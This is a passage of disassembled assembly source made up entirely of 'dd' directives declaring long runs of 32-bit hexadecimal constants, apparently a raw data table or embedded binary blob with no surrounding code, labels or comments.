		dd 9CA3800Eh, 0EDAF7C43h, 57B6E217h, 0C7D075ACh, 4AB4A25Bh
		dd 19C8BDDAh, 89FAD2C5h, 0A55C89F4h, 0E8415C01h, 9F525F5h
		dd 0D62C567Ah, 0AC1F1A46h, 3B78402Ch, 0B531E7C5h, 8587ED48h
		dd 0F0B604C2h, 0DA2134E0h, 0D7A22506h, 5CB4C943h, 50806D61h
		dd 51952920h, 0E1B20B5Ah, 0AC10EDD6h, 9FAE0140h, 36F1D905h
		dd 0B057E69Ch, 4BBD8592h, 0D534BE15h, 0FA7912BFh, 1DCF898h
		dd 9509CDD7h, 2BE403E1h, 0AB637E99h, 0A3E72807h, 2E540C2h
		dd 0BCC94415h, 7F6A12F8h, 3603613Dh, 9082B891h,	1789751Dh
		dd 0DD303595h, 1644443Fh, 3600846h, 508091ACh, 4BBAAEBBh
		dd 93D5923Ah, 0C01078D2h, 0D9E02C50h, 0F29C2E4Bh, 4B11F831h
		dd 6BEA9D0Ah, 258DADD8h, 61711EF1h, 964B4EC4h, 0B47E6C89h
		dd 68647C5Ah, 46B70B0Eh, 0ACD46E93h, 59608BFDh,	72030288h
		dd 540C207h, 558A1385h
		dd 6D004F44h, 0F72E69E4h, 5B38893h, 9E666597h, 6D17BA43h
		dd 4A0FC2B0h, 0B281E62Ah, 0A7743016h, 0F18DE64Bh, 0C1C1647Ah
		dd 9C163D82h, 95228D1Bh, 1CC4BF6Dh, 98544E60h, 0DFCF2302h
		dd 886FE9D5h, 932812CFh, 30515682h, 8AE67B00h, 9C4123h
		dd 0B32535B9h, 7C74E5A2h, 5B3AEE00h, 0DA7BEF81h, 0C22AF35Eh
		dd 405E17FBh, 0D4157C5Ah, 560F4A00h, 16361B0Eh,	90240148h
		dd 63AD25BBh, 45292F28h, 0EA8C943Bh, 1C80219Bh,	0F6500DEBh
		dd 957EF09Fh, 0D548DB51h, 8A0E0211h, 0AF12C6DDh, 0D4D066C9h
		dd 57250051h, 0EA2990CEh, 1E974CA7h, 0D4139EF9h, 0EC99B100h
		dd 0A0744976h, 0A4D60234h, 18D1BD01h, 5E0FE902h, 7A4E2B05h
		dd 8B9661FDh, 969DB17Ch, 1A9E88C1h, 1500C6EEh, 0FB44FD20h
		dd 46CAE8Fh, 1E8DB653h,	0CB15BCEAh, 89B1C290h, 0D56F55CAh
		dd 1F1BE425h, 474128CEh, 0F3A4B94Dh, 37C00C91h,	7D019F16h
		dd 6BA23167h, 9B6A5F15h, 1AB2C4DFh, 0AF000CE2h,	5019EFF9h
		dd 5F012C62h, 87073DAh,	6F3F6AD7h, 4F831F63h, 0C09C3954h
		dd 0E622A387h, 0B8F10003h, 0CFC593E2h, 6F0B4461h, 536ABD8Dh
		dd 0BE7478A6h, 272FCD01h, 3DE09B0Ah, 0F3C1A03Bh, 0C8FC0628h
		dd 7BCB7D25h, 9721D00Fh, 80B3533Fh, 0FF2E4DCFh,	4F852931h
		dd 0E15A12F1h, 0B8ED6D7Eh, 293016ABh, 916B0E57h, 0E45F2510h
		dd 2B420770h, 906CEA4Ch, 0CD013D58h, 0FCD4C802h, 489055B9h
		dd 0ED07B32Fh, 81569B3Ah, 4C015A8Ah, 64EDE03h, 77CAF9F1h
		dd 7A960AB7h, 18159004h, 0AFB4ADBCh, 6004246Ah,	0ABF780D2h
		dd 0F50F5C98h, 88C5276Eh, 6BEDF80h, 17A7B98Eh, 0BD1FF55h
		dd 635E41ADh, 0BDB9787Ah, 0C9961537h, 2E03E882h, 92FABFC7h
		dd 90E50E86h, 0DB524800h, 0A8ABB0h, 6A82C006h, 0D5BF6002h
		dd 2BBB590Eh, 0D74F6266h, 2EE2D861h, 1D5C81DDh,	1E0092Fh
		dd 9BE15BEDh, 0E830ED10h, 0ED195AD9h, 952B8017h, 5DE56A84h
		dd 1396A74Ch, 0E9CB9153h, 0C2382F55h, 66CB4087h, 4A8FBF48h
		dd 3B3F2A6Eh, 350C2501h, 895CBA9Ah, 7B18797Ch, 84F5A5AEh
		dd 0F1AEC31Ch, 746E6F13h, 0E7467000h, 8BC13EE1h, 31ECFB5Eh
		dd 4D371EC0h, 0A7FC5D7Dh, 8C602D00h, 0C60CC030h, 3503258Ah
		dd 352D9EE5h, 0B50A0FADh, 9806D3A0h, 9497667Ch,	5883939Bh
		dd 5F1C4F21h, 33025787h, 5EC53559h, 7E2BE89Bh, 7127BC07h
		dd 7260EBCAh, 90AA99C7h, 254525EFh, 467EC35Ch, 0B1007E18h
		dd 0BF942BCAh, 5C6C7274h, 8113EF40h, 127AEA15h,	0F6F5A612h
		dd 131E21ADh, 404E38Ah,	0B04067E3h, 14D58502h, 4070E602h
		dd 387C80BAh, 0B8CA5F33h, 858904ADh, 0C21F2341h, 43295537h
		dd 0EB099157h, 6AEF8110h, 5844C17Eh, 277743B3h,	572AEAFCh
		dd 6495EA50h, 40B30057h, 33870BE7h, 5F1C9E36h, 0E2A5E380h
		dd 4F7BF4B3h, 4A549040h, 0CA3CD6A2h, 366C00AAh,	0E5AF4421h
		dd 0BA716BFh, 42A2C8C7h, 3EBC7C07h, 8DA1E9F6h, 0A07BFD2Ah
		dd 5B811636h, 36A457C6h, 76E68053h, 31095F52h, 0FD072985h
		dd 0D1558832h, 33BB02F6h, 11503081h, 0B283297Eh, 6EA1D7FBh
		dd 0D02C5BDh, 4E7D7430h, 0C84CB81Ch, 0AB06A518h, 42457104h
		dd 0B8BA166Bh, 169D22D8h, 0BB615853h, 0BD948C34h, 15051D81h
		dd 1D9C622Fh, 0B5597C2Ch, 4A5E125h, 1F8BFE1Eh, 0D38161E8h
		dd 9A672FFBh, 0F7E84CE2h, 51806837h, 0ABAE947Bh, 0BC174E5Eh
		dd 0F30B2576h, 0AA1A12CFh, 6A4EC0CAh, 95F85F37h, 0BB0EB602h
		dd 8B821930h, 0B9012691h, 0F62A0848h, 0A87E0085h, 0CA39EAE3h
		dd 0F66E9DA3h, 980A120Ah, 0CD25A809h, 85FBE2C7h, 5205DD41h
		dd 0CD7DFCD4h, 3AA8E06Fh, 8274F94h, 6091E21Ch, 9C870F77h
		dd 0D0644C7Ah, 679B2A0h, 0A4F95B95h, 97B0A25Fh,	37FF00A9h
		dd 225F8366h, 0B398FECAh, 0DC1E3631h, 56D7CF80h, 82B9CC16h
		dd 0A33EE6E4h, 1648FB7Dh, 0DE07C9D8h, 5ADA800Ah, 9453F31h
		dd 22DBD0Bh, 0D3521B74h, 63E55092h, 86E82300h, 7C2D4B36h
		dd 2EDE8111h, 16C8219Ah, 0FEC44DC5h, 0BD4F66BDh, 0BAE8FCh
		dd 8D62A347h, 188C0F12h, 74E0F59Ch, 0FDCEFAh, 59CC3E52h
		dd 0EEBABC18h, 3F84881Eh, 4A92ECAAh, 79F0599Dh,	2E9D2E30h
		dd 8057FC2Fh, 140AE6FBh, 0F0042E8Dh, 3FF10203h,	4CE6B905h
		dd 6091739Dh, 2FD59D81h, 0E514419Dh, 2FA00DFAh,	0D5606628h
		dd 8CBC4051h, 0B897661Ch, 60404F2Fh, 68488ADDh,	6773BF04h
		dd 5AE869ACh, 0B53160C1h, 82406BC5h, 0FF61C68Bh, 25D098E1h
		dd 0B15E0245h, 0C214DC71h, 442B134Fh, 0C485006Dh, 5A880FDh
		dd 0DE02F8FCh, 0E7183AD4h, 516374D3h, 14C80FD1h, 0D1818BC4h
		dd 56022D59h, 0F81FC8C1h, 149D5B6Ah, 465255Eh, 4D4045EFh
		dd 16C8FA46h, 0E394660Bh, 0BD090438h, 60011F21h, 0FA3D9D0Bh
		dd 7725B2D5h, 0CE7BF4A0h, 89D8B2Ch, 0E90BB47Ch,	0D4CF5E1Fh
		dd 87001A46h, 0FAAEB506h, 0C0979360h, 7BF1A575h, 29CD2789h
		dd 502F9B46h, 0D072FB01h, 4B49E240h, 5DC55ECAh,	23D56BAEh
		dd 0A30C1314h, 0BC5B49B6h, 0E6082D69h, 0F134435Ch, 5BDAC1BFh
		dd 4A602CCFh, 17E0BDF6h, 0A80285B5h, 0F85C6390h, 109B5EBEh
		dd 0BD2F732Bh, 0F6BB9241h, 3BD141DDh, 0BFFFFC8Ch, 6B655704h
		dd 29AE5F62h, 8AECFCB4h, 0B0766331h, 0CA6BF98Bh, 28C862C6h
		dd 0F80AC4E6h, 0E6584EF8h, 8F0FE022h, 173B0172h, 5C15AA6Ch
		dd 0B2342E2Ah, 81C075E8h, 0A74552F3h, 425CE1A2h, 4BF38ED4h
		dd 8726FA94h, 0F59200Ch, 23FE912h, 308984ACh, 0DEA3F0D3h
		dd 1E54278h, 7DA2DBD4h,	2B04BF8Ch, 0A39632E8h, 0D7862D0h
		dd 0EC207620h, 244B31A6h, 0F6D685A2h, 0AADBA05Bh, 22CE00Ah
		dd 8FCC74F5h, 95D7D98Ah, 0F8BC42D9h, 23312560h,	7E189A9Dh
		dd 1B04D440h, 0D0C1FC3Ch, 0A64BEB8Ah, 0E08AA279h, 16BC3A72h
		dd 0ECF5CDDCh, 2E844E7Eh, 120E6EAAh, 0E3FC4D4Fh, 0FAB90B80h
		dd 5A51D351h, 0CEE26EE6h, 5688FF92h, 9D33125Fh,	962E4985h
		dd 9E82AA02h, 0E328274h, 7182DDDBh, 9605F6B3h, 0BC0149Bh
		dd 6346E4A4h, 55147A25h, 4C743A1Ah, 40F7586Bh, 567D6814h
		dd 51706B27h, 0A50B8072h, 0D2FD4EFBh, 0F61EC3Ch, 22A8C329h
		dd 69B63F4Ch, 0F3B5F18h, 7424A928h, 0DDDBEB70h,	0C56A6480h
		dd 96274A70h, 0F63FC27Ah, 0AC5C2708h, 11B46D6h,	6B4F8DA1h
		dd 74E4EF40h, 20534A50h, 34A2F003h, 8649A800h, 7C8344C5h
		dd 0D095016Fh, 53316951h, 14E13E5Fh, 6E3EE321h,	96958EDh
		dd 0FB12AD8Dh, 5D18B15Dh, 1610132h, 8F4E3578h, 0BB660403h
		dd 12AEC472h, 8DDAE277h, 847B2934h, 0E9A0468Fh,	37BF1744h
		dd 1DFE0166h, 0FC830CEBh, 294BD2B1h, 0E35AF1E8h, 9D09BBF2h
		dd 71BD1CB9h, 9BB3B484h, 0CEA7CBE8h, 377AAB93h,	9BF0FA00h
		dd 339E9636h, 0BC21604Fh, 26DC7AB6h, 57B10203h,	23ABB93Ah
		dd 0FC859152h, 607B7098h, 0EBD10CBFh, 0C12E3A22h, 10A3B295h
		dd 923A31h, 3071EDCCh, 6A830A3Fh, 0BFD4189Dh, 4E057B1Bh
		dd 81258C03h, 0BBBCEF04h, 71AF4912h, 21E65F3h, 444E650h
		dd 7D4E7B03h, 8A72C180h, 0BA343F62h, 69C762DAh,	657CD048h
		dd 68179EBDh, 228260A8h, 1C84090Ah, 616BD209h, 555F5Ch
		dd 0BF770F51h, 84314A5Ah, 2099E81Dh, 0AD4B9D2Eh, 0A5E77618h
		dd 0B350BDE5h, 0BAEE07FCh, 72D13848h, 0B174DA8Bh, 9717D86Bh
		dd 0EB808D98h, 0F723D373h, 23D1278Ah, 41A50901h, 3A8C0Eh
		dd 0ED51BF6Fh, 99D30ADh
		dd 9F0F374Bh, 0B76AF8Eh, 5B52960h, 6E169D2Fh, 0D760BCADh
		dd 4EF58D09h, 44469D29h, 0AEB7BB7Bh, 9A0A4400h,	60B25519h
		dd 296EDB0Ch, 95FC7C28h, 7B2D0ECh, 5AF75F4Fh, 4E09F110h
		dd 4470F681h, 9120FA15h, 7488D474h, 5D5B003Ah, 4FD093DFh
		dd 15054294h, 79CD3804h, 0C1A38Ch, 0AC5723E0h, 15C8944Dh
		dd 0B379F273h, 0F5D2FC09h, 1B513Ah, 707CD6BCh, 2C0E6BFBh
		dd 325FE136h, 938088BCh, 0F0C024B8h, 2E08A101h,	3A0E8760h
		dd 0F5202A19h, 5C3395h,	0FF42A668h, 0B64D66D2h,	4A37D727h
		dd 0D015F357h, 0D0093EAh, 0D217F168h, 974C5F0Eh, 0D88B1698h
		dd 0D17342B0h, 5A7E1C9Dh, 0C02C9E3Bh, 49258B26h, 39731359h
		dd 83A221h, 1ED6DEEAh, 422373Dh, 4D363072h, 0D1C2FBFCh
		dd 99E7A8DAh, 125B56CBh, 0D444E921h, 40653865h,	53CCD209h
		dd 0B272A631h, 45D8331Dh, 7226B953h, 0A73D0835h, 8A31E00Ah
		dd 231A9DD8h, 4A51F95Ch, 0B1EFA73Bh, 0BCC92FBh,	295C0493h
		dd 930919Dh, 65770157h,	603A5F95h, 0C6DFB700h, 7A87B283h
		dd 0C7D0B527h, 915D920h, 0B5F3805Bh, 7CEBFC79h,	7300D47Bh
		dd 0BE3693A5h, 4B9D8B9Fh, 2D1CFD51h, 58B778BAh,	78646FF5h
		dd 0D874AF78h, 68A8CDADh, 5DBC5825h, 6E568509h,	0A0A200DCh
		dd 473FA352h, 0C54EDD6Eh, 38E0B8C9h, 3D960387h,	0FDCBA7FFh
		dd 802022E8h, 6A5FF517h, 2CF00CE6h, 4E28B3F1h, 0C027E025h
		dd 1F993A8h, 3BB21E16h,	0A6981457h, 0FDE4762h, 0AE0AC0BEh
		dd 79706AE2h, 0DC2AB881h, 1E492EE8h, 0F3447F22h, 0AF5997h
		dd 48C203C9h, 0B0FFB50h, 40A671CBh, 60B08A95h, 0B51A7D29h
		dd 18A9AA60h, 375BB7h, 39E678A6h, 0EE00ABDEh, 19ED44EFh
		dd 62F3DC6h, 0F9A1857h,	7FBED226h, 2308FC40h, 5CC7023Fh
		dd 0EA599EBCh, 0C225DF09h, 0D79EAB5Fh, 0F4890196h, 2F55738Ah
		dd 47E67474h, 705ED2A2h, 40F8B7C2h, 0B52E11AAh,	66ABD871h
		dd 4B828358h, 2D7FCA61h, 0D94D73BCh, 0B2D9FE28h, 340AF00h
		dd 0F4F61DABh, 6D5900FBh, 0BBFD812Bh, 379D026Ah, 3A42014Fh
		dd 2AF898C6h, 2C821D1Ch, 77713310h, 58CC782h, 0E007B820h
		dd 0D4344B4Ch, 0C0349B0Fh, 76680CE2h, 19D2EDDh,	0E8191205h
		dd 2A9B475h, 800515A8h,	82D2E350h, 0E9D9DEC0h, 83E7B5DFh
		dd 21DC3408h, 586580B0h, 5FC12513h, 63A01900h, 0DADFCE2Ch
		dd 9D8495F3h, 0CB99BD23h, 0F15072F9h, 0E6608A57h, 977ED838h
		dd 3FDD6489h, 0E3AC178Dh, 63994B0Ah, 1240F73Eh,	9BFF2115h
		dd 0F2B69242h, 8919B109h, 0AA2D8C05h, 0A395C6D8h, 5FCAD8DAh
		dd 784CE6A8h, 9F630B7Bh, 0B974A9A0h, 558FCA6Eh,	0FF120124h
		dd 3104506Fh, 0A8CCF8AAh, 880F1375h, 0BB9E31BBh, 150E701Fh
		dd 0ED4A1E4Eh, 7CBB8485h, 59B914EBh, 0B043DE8Ch, 7D14B3E0h
		dd 22F170E6h, 9F71E4C9h, 1A33AC10h, 21879900h, 3DDBA52Bh
		dd 0AF2C2FD2h, 249762F2h, 854B351h, 0F189B512h,	3986894Fh
		dd 0CC037401h, 934FCBBCh, 0AB7DD8h, 493E19F5h, 64E5D2CCh
		dd 9EEEB77Eh, 0E4B5C77h, 219510A4h, 1852309h, 0B2B0D5B5h
		dd 0BFC80E2Bh, 2DBC68B0h, 0D0BF6F7Ah, 379AC4F9h, 2B7FA1FFh
		dd 456D87DDh, 50F18516h, 0AD278AFDh, 12272C55h,	278521BDh
		dd 32D44B38h, 5B502901h, 0F8B2DE9h, 9ADD29B3h, 4814D71Bh
		dd 0BE41598h, 15A51FCAh, 1B92FE14h, 4AF09EAAh, 0A04DB892h
		dd 0F7E856A0h, 35A36E3Eh, 0F3FD38C2h, 18C59D82h, 7252535Fh
		dd 5B00AF7Bh, 510FDB1Fh, 0B9EF0B2Eh, 0F55607BDh, 8D3E00F4h
		dd 85B01516h, 68252C65h, 7D19E296h, 0F989A90Eh,	37DFD46Ah
		dd 0CE384FDh, 0E2D9099Bh, 0A7E056DDh, 9DEC7DEh,	0A8DF2CE2h
		dd 0C6074222h, 82D0B402h, 0D7AE5EEFh, 854EBBB4h, 0EEC58388h
		dd 0C85F4FBEh, 2E02CA44h, 15BC6912h, 7016FBDEh,	5300CBDDh
		dd 0C7A964E7h, 12892F16h, 0E618B185h, 0DA8A04D8h, 0F3E6E380h
		dd 5AC18650h, 0BC8AB91Eh, 2179317h, 58F394CEh, 596C0957h
		dd 80275B7Dh, 53BB8B95h, 0E0F67022h, 0C5CBCE25h, 1681164h
		dd 0F16FD781h, 2F2374CEh, 407E0925h, 0A5887325h, 96C27B6Dh
		dd 18615F4Eh, 3957D2D4h, 0AB5111BBh, 6E7BE1FFh,	0D8371F72h
		dd 0DA0CF404h, 98A16CB8h, 5B55C204h, 0BF4170EDh, 6A3D6314h
		dd 75CA4ADBh, 85318871h, 79308D2Dh, 463BC4BCh, 25F460FCh
		dd 94792C41h, 0B3810F09h, 1BB8CCD2h, 25F6E4Ah, 54FB5BAAh
		dd 2548D637h, 1941168h,	0D10A5397h, 0B54FAFA4h,	84159121h
		dd 0DB9701Eh, 0A016B74Eh, 74ED552h, 9771CAB7h, 97847B63h
		dd 2CC8531Bh, 2F1900E4h, 14083773h, 600B20Bh, 75F0340Ah
		dd 4AFBF88Fh, 5F83F013h, 189EC19Dh, 0FAE18D11h,	4BCC9004h
		dd 8702092Fh, 0A175D280h, 0AA08BF0Ah, 8164B5DAh, 4CB7F086h
		dd 0EA7C8D6h, 5D881A5Bh, 0DD51005Ch, 4D85089Eh,	724AE153h
		dd 70C25AFBh, 3570AA5Bh, 6F3B01EAh, 0E4AF1D1Ah,	7D8B30A3h
		dd 57BC204Ah, 31FAB3E1h, 504DA858h, 0DE5524EDh,	0EF8135A2h
		dd 28584EC4h, 709B8026h, 0FE694CC0h, 23EFCEAh, 675BF610h
		dd 43C073CFh, 599532A9h, 0A64DC930h, 77191247h,	6E56089Ah
		dd 0E912B46Dh, 0C3E90109h, 0BA600001h, 133619E6h, 4312353h
		dd 0AC3AC4EBh, 0E1494655h, 242EA5FDh, 0F291B63Ch, 0FD7122h
		dd 817EF96Ch, 0D60005DAh, 74B5240Bh, 25F35A0Ch,	7AD2E7C6h
		dd 0D89853B5h, 0F25E1E6h, 2025D087h, 0F84B01F5h, 0FDEA698Dh
		dd 9F55440Bh, 90199587h, 824B5D80h, 55178659h, 0F5979531h
		dd 0D4BB8D44h, 88389B18h, 0A541C01Ch, 9B00E009h, 61928106h
		dd 342958B3h, 0AC65359Dh, 2D12665Fh, 25819583h,	0DA507BBBh
		dd 0EE012541h, 0FB96A876h, 0F081B8BDh, 882D2A8Ah, 32F128h
		dd 0DE27D668h, 539F6082h, 47D71EA9h, 19615953h,	2902E876h
		dd 557D40DCh, 1314D004h, 894A33B8h, 0D86F2BD3h,	0E8E46600h
		dd 0E76D5D31h, 61FBAE4Eh, 22DC9CEh, 11987F50h, 0D3B0E37Bh
		dd 0B6BD0D02h, 77CEAF47h, 0E57B80A9h, 49AFD170h, 3382F328h
		dd 2BF7F1BDh, 0C094CD0Ch, 0BC8B0F35h, 0EE13F4Fh, 0FC3B83DDh
		dd 0F9B8D257h, 0A837B9B5h, 89D62776h, 6795D850h, 9E4A16ECh
		dd 51F4C004h, 5E8D9509h, 4D08E60Ah, 0BC9DBCD7h,	0BD171625h
		dd 1888BA3Eh, 0B8281FC0h, 60C42D63h, 4692D54h, 51D1A584h
		dd 36603161h, 3479725h,	0BD4C9211h, 9E17ADC0h, 7B004742h
		dd 36C3EF2h, 29AC9837h,	62FFE67Ch, 3CF40471h, 4373F4h
		dd 48EBB9FAh, 0C4674AE3h, 16505B95h, 2C37EE84h,	21FC10D1h
		dd 3D009D2Eh, 4FE2A804h, 584F200Ah, 0A700D649h,	4CAD028h
		dd 40B9D47h, 39FE03E5h,	92C1AC06h, 2BC88F9h, 26A6DF4Bh
		dd 0A3117B2h, 9FDD25E0h, 72DCBE1h, 5396DF60h, 0AE82260h
		dd 8500FF7Ah, 7D6E94Ah,	985AC126h, 3E40BFBCh, 962FFE8Bh
		dd 82CDC52h, 5B1C07ADh,	0A7515349h, 558B5FF4h, 19946A35h
		dd 13BB807Bh, 5F6FD2BEh, 75F2040Bh, 50BD5212h, 0F16BD2h
		dd 8E2ECE2Dh, 4EE47611h, 78A8238h, 755A9A5Ch, 4E254D35h
		dd 0C0279FACh, 9E732973h, 70F8DF89h, 484FB59Fh,	1129D76Bh
		dd 0C89647F8h, 11BD0160h, 2644971Fh, 0C00D9A6h,	1AEE9CA0h
		dd 0E4B532D6h, 0FA1B01D2h, 0FFB914Bh, 25C1638Dh, 54CEC2DFh
		dd 5700DC34h, 0B9781F02h, 483FDD9h, 9D8B40C7h, 3E39BA0Dh
		dd 1DA8736Dh, 2BF3B503h, 0A4F511DFh, 0B315EC2h,	2E19BBC1h
		dd 4280DC75h, 3B7EC51Eh
		dd 383596BFh, 94997DFh,	6D6BB159h, 0C53440ECh, 0FD2F125Ah
		dd 5EE61ACEh, 0EB86444Ch, 16B3C4E0h, 0E0965BB1h, 0BB7160F3h
		dd 8F9C2F3Eh, 0B661FFB5h, 402CEE2h, 0EA781AB0h,	5D5257h
		dd 3D92C5BCh, 0E0FB8783h, 857FBED6h, 5F68FB07h,	0F8CF10E6h
		dd 0CB0481BBh, 24BEC559h, 0F8D7DEB8h, 0C70925B2h, 38781CB1h
		dd 0AC6EFE4Bh, 0F261B500h, 0C10D4BCh, 0C056364Ch, 70449479h
		dd 0E31F04B3h, 0AEC90613h, 36CD6821h, 0FF98C0h,	0EBE16AA8h
		dd 93706450h, 0D3EF5302h, 57A9F0D8h, 0ADDC2842h, 0E6BB0FBAh
		dd 3FE636E2h, 104802E0h, 62B88E2h, 1C2EC0A0h, 0E05E2610h
		dd 34B80D6h, 1715F38Dh,	93BCFDA9h, 0DA73A53Ah, 795213B1h
		dd 63A5D5Fh, 60F7ED75h,	8529CF49h, 0B5D9FABDh, 5EC9E25Bh
		dd 0E007D48Fh, 47351328h, 1632B1E1h, 2389C489h,	0BFE00474h
		dd 7427F8C6h, 0E038AD62h, 0CB3FF77Ah, 339F504h,	0F90536F2h
		dd 146DBA05h, 2816A2Ah,	0E909ADFCh, 0E005D07h, 298ED0BBh
		dd 0C18B0816h, 139E56Fh, 0F5EF2570h, 3DDF37EAh,	7E470032h
		dd 95903ABBh, 91502F2Fh, 0A77B9282h, 0E5A45AD3h, 6EFA60BFh
		dd 0BA5B509h, 0F0AC7B95h, 7AFB146Eh, 3019B308h,	0E8EBCBD6h
		dd 90D35B9Bh, 9119A92h,	0D4843FEAh, 859160FFh, 410E453Dh
		dd 0AD99CDF5h, 0C0126DD7h, 0EFB658Ah, 82BD664Ah, 20998582h
		dd 0B923DE18h, 0B014B560h, 3A4B90FDh, 9A3FE09Dh, 0AB6F8051h
		dd 9BFF549h, 0E273062h,	0BB80E871h, 2FE2B517h, 0B0D15FFFh
		dd 2B4409FCh, 0B4F3B060h, 31F067A4h, 2E53ECB8h,	8B80DD2Ch
		dd 0DBA1463Dh, 6A4A01A3h, 0D78340B9h, 1FC99600h, 68BB9031h
		dd 0B756F0FEh, 8F77460Bh, 13D6B40Ch, 0A2BC4503h, 717CC85Ah
		dd 0F3C99C01h, 9D0B8C7Fh, 5FFED26Fh, 91E4B5DFh,	54558117h
		dd 206E56F9h, 48C94A2h,	47AC1117h, 0A1B3A212h, 0ABEBD587h
		dd 81B837F5h, 0F2E98EB6h, 0C3205AB4h, 81CA84F5h, 0E62356ECh
		dd 7EDF007Dh, 0E5D8CE2Fh, 5B5B78F2h, 1AB21FA6h,	5F88730h
		dd 0DAC82303h, 17D2E876h, 5D0E17B3h, 58614553h,	30ECE313h
		dd 0D01FFCD2h, 20EE4EE7h, 55D9BFBEh, 0EC21B025h, 0CE82BD12h
		dd 24FC1815h, 0B28E71C0h, 2E9E39CBh, 0B95E1B27h, 8CB75FC9h
		dd 2DF6D798h, 4B860257h, 0D88A80DDh, 100DE5D5h,	0EA6A262Ch
		dd 9209A21Dh, 40B77C65h, 0C8CA3C89h, 179D7B00h,	0E9BE788Eh
		dd 42CDB202h, 0EDB50920h, 993DD50Ah, 0B70FB104h, 234DDCABh
		dd 1D9C0141h, 0DC8A00B0h, 0E4F970E6h, 0ADBF7102h, 5C289A4Fh
		dd 0AF0A93D3h, 95619E37h, 0DC6B26A5h, 5BB0DED2h, 5B526016h
		dd 0E83B7D89h, 88ABE4CCh, 22A08131h, 0E5348D01h, 0AFC8A913h
		dd 2B70276h, 4D287ABFh,	5AB7877h, 799531C8h, 0ED5FAF22h
		dd 0D76BBF45h, 0A1EE61AFh, 0E1AD0827h, 0C8668212h, 15C9BD16h
		dd 14C8D7BCh, 0C36D778Fh, 0D07D7AE2h, 882BAEh, 0D343015Bh
		dd 66E0DE2Ch, 514AE37Ah, 8CA63B25h, 0DC943106h,	5ED9025Bh
		dd 0DD6BDA94h, 85FF60C4h, 53F91464h, 0EA570149h, 0CE795535h
		dd 86977C24h, 41562AD2h, 222F5FA7h, 2D2F3214h, 0B76A36A5h
		dd 615200F6h, 1424FC71h, 0BB4007B7h, 20A64F72h,	6F7B428Ah
		dd 70E3DA20h, 0EF058AADh, 0E295129Dh, 6072842Ah, 1E73AC12h
		dd 75C809DBh, 0DF808235h, 0FE046A84h, 23256BAFh, 0E72C0516h
		dd 0A2CCFEB7h, 75EF860h, 2FB961FCh, 0B7FD0909h,	0BD98029h
		dd 0D69345C1h, 0CEB7CEC6h, 61C92FD4h, 0C3A5F7F9h, 2027E23h
		dd 3359A30Dh, 6D7DC02Bh, 63BCE084h, 0DE00C6E8h,	0FABBFD5Ah
		dd 0BD6F2A72h, 113890E0h, 7B95BA70h, 48DDDAA0h,	5C5291ECh
		dd 2916430Ah, 0B00DE925h, 0E155BD8Bh, 4BC48A2Bh, 80816A9Ah
		dd 6002BCC0h, 0F4F35D6h, 0EBE24237h, 0DFCED567h, 0C825AA71h
		dd 59290909h, 8D9D70EEh, 5037BB86h, 690582BBh, 2629BD09h
		dd 56BD38AFh, 6FAA30D6h, 484839h, 0F49B7EB3h, 2E016F55h
		dd 0A54CBDB5h, 3A9746E6h, 0D6837611h, 80E1FF04h, 0E1B8ABD7h
		dd 3E0428A1h, 1225B17Ah, 1A09DBC5h, 0F4E35C04h,	5453AA13h
		dd 525D5ECh, 0B318F9C7h, 0B7896055h, 617851C4h,	4BFD38D0h
		dd 4489008Ch, 9098600Ah, 1558DF0h, 0E180DCB5h, 576E045Ah
		dd 6F28AB4Eh, 70D70481h, 0BD36B3DCh, 1707C0Fh, 785C73B7h
		dd 0C2B58B47h, 1CB55521h, 8F891B91h, 2BD34077h,	5A52904Ah
		dd 5AD3FDB5h, 7750F2h, 9BB32C96h, 0A4BAD2EBh, 61997495h
		dd 2F5FF8B7h, 0C41C3434h, 0D45F3150h, 7A39F810h, 44407C9Dh
		dd 97A2BB60h, 591A04Bh,	51728A95h, 0A0B0C313h, 42688009h
		dd 58CB023Ch, 0E8015F75h, 265401BDh, 427C28A7h,	0D6A656ADh
		dd 0EA7730BFh, 0CA8C09BBh, 100429A5h, 9A8AEBE9h, 8E15C84Ah
		dd 9A715700h, 0CC82443Eh, 0BB5801FDh, 1D6B6AAAh, 86EA6036h
		dd 0B9601A44h, 29E087F8h, 0C950E29Ah, 9D7A467Fh, 0B014802h
		dd 9E96100h, 9BBDB702h,	10ED0500h, 25116D8Fh, 835EFE8Ah
		dd 0A1DB5C1h, 0BD9A4E0Eh, 7739C181h, 0E5127067h, 88D97EFFh
		dd 92DDA66Bh, 9573A5B2h, 6A9BE86Eh, 2F73C58h, 0E205EEE1h
		dd 0E4F7891Eh, 2DE1805Fh, 0A71A971Ah, 25509853h, 12897E72h
		dd 0BEB509B3h, 880FC1C1h, 0C1ACA93Bh, 0A2CD83E3h, 9267603Ah
		dd 0FF02A8DAh, 69A9BE38h, 0C8E74DF9h, 0F750607Bh, 4612E715h
		dd 0B5E1A8BCh, 0C281543Bh, 2466602Dh, 0B9004DB9h, 0CB5DAFACh
		dd 6AB402D3h, 6158DAB5h, 0BF10A270h, 855E5C60h,	0FFF8093Dh
		dd 0F592CB71h, 7A7F39AFh, 0F72A8F89h, 259E03C3h, 80EFAAAEh
		dd 0DB5B39B3h, 6A3CAC6Dh, 0C59F7650h, 0A037006Dh, 7341B011h
		dd 77DF2100h, 82F3D63Dh, 0B547EE71h, 1F90E871h,	8EFB4878h
		dd 2B08E593h, 1523F56Bh, 4A9AF10Ch, 0BFE8C090h,	222DF79h
		dd 0DBBC7CEh, 81F8C912h, 6FA213B7h, 0B821F990h,	18330091h
		dd 5F6FE686h, 6E4DF0E7h, 5C618971h, 0AC2212CCh,	0A582F4BAh
		dd 51A556FEh, 85872C17h, 65AF01C1h, 8908FE6Ah, 0D4223702h
		dd 0EE71B832h, 633EC390h, 22418ACBh, 42F89D0Ah,	32CE354Bh
		dd 9D9FF728h, 380FB37h,	88A82DFFh, 654B168Eh, 0F526BC92h
		dd 152593A8h, 5EA52165h, 0CC12D47Dh, 0FBB7B80Fh, 4096A5Eh
		dd 5030B83Fh, 0BB6B8CBEh, 0AE57C909h, 9D04AA22h, 894A2CDEh
		dd 9050B0Eh, 17E45FEDh,	59507660h, 29B1644Ah, 1BC7C53Fh
		dd 0E085E12h, 2F2EC585h, 6113F235h, 0AD6624AEh,	5C62E8FDh
		dd 0DF1F6EA5h, 14CD65E5h, 0B3621464h, 0B88A9055h, 24D316FBh
		dd 636BAE7Dh, 84701C38h, 719F7A00h, 0DB4C2A52h,	0FC3308BAh
		dd 57C9DF8Bh, 0F84B1A64h, 6660D732h, 0CCA300F8h, 7AC67C8Ch
		dd 44002799h, 72B3F565h, 328D2957h, 58340F15h, 6104045Dh
